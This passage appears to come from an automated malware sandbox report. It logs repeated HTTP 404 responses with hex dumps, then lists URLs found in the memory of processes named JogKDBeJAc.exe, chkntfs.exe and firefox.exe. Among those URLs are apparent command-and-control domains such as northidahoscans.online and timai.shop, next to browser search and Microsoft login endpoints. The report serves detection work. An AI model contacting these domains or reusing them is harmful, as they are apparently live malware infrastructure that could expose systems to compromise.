Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 17 Dec 2024 02:41:26 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 17 Dec 2024 02:41:29 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 17 Dec 2024 02:41:31 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 17 Dec 2024 02:41:34 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 17 Dec 2024 02:41:42 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 17 Dec 2024 02:41:44 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 17 Dec 2024 02:41:47 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 17 Dec 2024 02:41:50 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 17 Dec 2024 02:42:15 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 17 Dec 2024 02:42:18 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 17 Dec 2024 02:42:21 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Source: JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003686000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.brickhills.site/q6c0/?-V8=DNozHXZRHwMop
Source: chkntfs.exe, 00000006.00000002.3305493710.0000000004ED4000.00000004.10000000.00040000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.00000000034F4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2626329765.0000000015B74000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.northidahoscans.online/px.js?ch=1
Source: chkntfs.exe, 00000006.00000002.3305493710.0000000004ED4000.00000004.10000000.00040000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.00000000034F4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2626329765.0000000015B74000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.northidahoscans.online/px.js?ch=2
Source: chkntfs.exe, 00000006.00000002.3305493710.0000000004ED4000.00000004.10000000.00040000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.00000000034F4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2626329765.0000000015B74000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.northidahoscans.online/sk-logabpstatus.php?a=L2g4bEdyRU15NHN0SHVwVWZwYVdjU3FNL0laQndpc0cz
Source: JogKDBeJAc.exe, 00000007.00000002.3306103928.00000000055A4000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.timai.shop
Source: JogKDBeJAc.exe, 00000007.00000002.3306103928.00000000055A4000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.timai.shop/xsla/
Source: chkntfs.exe, 00000006.00000002.3306929490.00000000075CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chkntfs.exe, 00000006.00000002.3306929490.00000000075CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: chkntfs.exe, 00000006.00000002.3306929490.00000000075CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: chkntfs.exe, 00000006.00000002.3306929490.00000000075CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cs.deviceatlas-cdn.com
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cs.deviceatlas-cdn.com/101dacs.js
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cs.deviceatlas-cdn.com/smartclick
Source: firefox.exe, 00000009.00000002.2626329765.0000000015B74000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://dts.gnpge.com
Source: chkntfs.exe, 00000006.00000002.3306929490.00000000075CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: chkntfs.exe, 00000006.00000002.3306929490.00000000075CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chkntfs.exe, 00000006.00000002.3306929490.00000000075CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chkntfs.exe, 00000006.00000002.3303352157.00000000026A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: chkntfs.exe, 00000006.00000002.3303352157.00000000026CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: chkntfs.exe, 00000006.00000002.3303352157.00000000026A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: chkntfs.exe, 00000006.00000002.3303352157.00000000026A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033Xi
Source: chkntfs.exe, 00000006.00000002.3303352157.00000000026A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: chkntfs.exe, 00000006.00000002.3303352157.00000000026CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: chkntfs.exe, 00000006.00000003.2517667390.00000000075A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://my.101domain.com?utm_campaign=parked-page&utm_medium=referral&utm_source=waytoocool.life&utm
Source: JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/css/fonts/LatoRegular.woff)
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/css/fonts/LatoRegular.woff2
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/css/fonts/LatoRegular.woff2)
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/css/vendor-1.css?20241209054434
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/images/vendor-1/101domain-logo.svg
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/images/vendor-1/com.png
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/images/vendor-1/google-reviews.svg
